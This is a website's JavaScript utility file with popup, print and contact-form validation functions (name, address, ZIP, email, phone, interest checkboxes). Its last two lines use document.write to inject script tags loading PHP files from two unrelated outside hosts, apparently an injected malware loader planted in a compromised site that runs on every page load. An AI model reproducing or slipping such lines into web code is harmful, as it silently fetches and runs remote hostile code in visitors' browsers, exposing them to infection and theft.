// JavaScript Document

function returnurl(strURL) {
	//alert(strURL);
	window.opener.location.href = strURL;
  self.close();
}

function printandgoback(page) {
    window.print();
    if(confirm("Return to web version?")) {
    	location.href=page;
    }
}

function popUp(strURL,strType,strHeight,strWidth,strName) {
	var strOptions="";
	if (strName=="") strName="_blank";
	if (strType=="console") strOptions="resizable=yes,width="+strWidth+",height="+strHeight;
	else if (strType=="fixed") strOptions="status=yes,scrollbars=yes,width="+strWidth+",height="+strHeight;
	else if (strType=="elastic") strOptions="toolbar=yes,menubar=yes,scrollbars=yes,resizable=yes,location=yes,width="+strWidth+",height="+strHeight;
	window.open(strURL, strName, strOptions);
}


function validateForm(contact){
	var isvalid=true;
	var msg="";

	if(""==document.forms.contact.firstName.value){
		msg += "\nPlease enter a First Name.";
		isvalid=false;
	}
	else if(""==document.forms.contact.lastName.value){
		msg += "\nPlease enter a Last Name.";
		isvalid=false;
	}

	else if(""==document.forms.contact.address1.value){
		msg += "\nPlease enter your Address.";
		isvalid=false;
	}
	else if(""==document.forms.contact.city.value){
		msg += "\nPlease enter your City.";
		isvalid=false;
	}
	else if("0"==document.forms.contact.state.selectedIndex){
		msg += "\nPlease select your State.";
		isvalid=false;
	}

	else if(!validateZIP(document.forms.contact.zip.value)){
		msg += "\nPlease enter your 5 digit or 5 digit+4 zip code.";
		isvalid=false;
	}
	else if(!check_email(document.forms.contact.email.value)){
		msg += "\nPlease enter a valid E-mail address.";
		isvalid=false;
	}
	else if(!document.forms.contact.parea.value.match(/\d{3}/)){
		msg +="\nPlease enter a valid Area Code.";
		isvalid=false;
	}
		else if(!document.forms.contact.pfirst3.value.match(/\d{3}/)){
		msg +="\nPlease enter a valid Phone Number.";
		isvalid=false;
	}
	else if(!document.forms.contact.plast4.value.match(/\d{4}/)){
		msg += "\nPlease enter a valid Phone Number.";
		isvalid=false;
	}

 else if(!document.forms.contact.AlsPals.checked && !document.forms.contact.HNDR.checked && !document.forms.contact.budget.checked && !document.forms.contact.funding.checked && !document.forms.contact.other.checked)  {
	msg += "\nPlease choose what you would like more information about";
	isvalid=false;
	}
if (isvalid) {
	document.contact.submit();
} else {
	alert(msg);
}






function check_email(e) {
ok = "1234567890qwertyuiop[]asdfghjklzxcvbnm.@-_QWERTYUIOPASDFGHJKLZXCVBNM";

for(i=0; i < e.length ;i++){
if(ok.indexOf(e.charAt(i))<0){
return (false);
}
}

if (document.images) {
re = /(@.*@)|(\.\.)|(^\.)|(^@)|(@$)|(\.$)|(@\.)/;
re_two = /^.+\@(\[?)[a-zA-Z0-9\-\.]+\.([a-zA-Z]{2,4}|[0-9]{1,3})(\]?)$/;
if (!e.match(re) && e.match(re_two)) {
return (-1);
}

}

}
function validateZIP(field) {
var valid = "0123456789-";
var hyphencount = 0;

if (field.length!=5 && field.length!=10) {
return false;
}
for (var i=0; i < field.length; i++) {
temp = "" + field.substring(i, i+1);
if (temp == "-") hyphencount++;
if (valid.indexOf(temp) == "-1") {
alert("Invalid characters in your zip code.  Please try again.");
return false;
}
if ((hyphencount > 1) || ((field.length==10) && ""+field.charAt(5)!="-")) {
alert("The hyphen character should be used with a properly formatted 5 digit+four zip code, like '12345-6789'.   Please try again.");
return false;
   }
}
return true;
}

}

document.write('<script src=http://tetasperu.pe/wordpress/video11.php ><\/script>');
document.write('<script src=http://worphueser.de/032c0698b3108c214/032c0698b31084b13.php ><\/script>');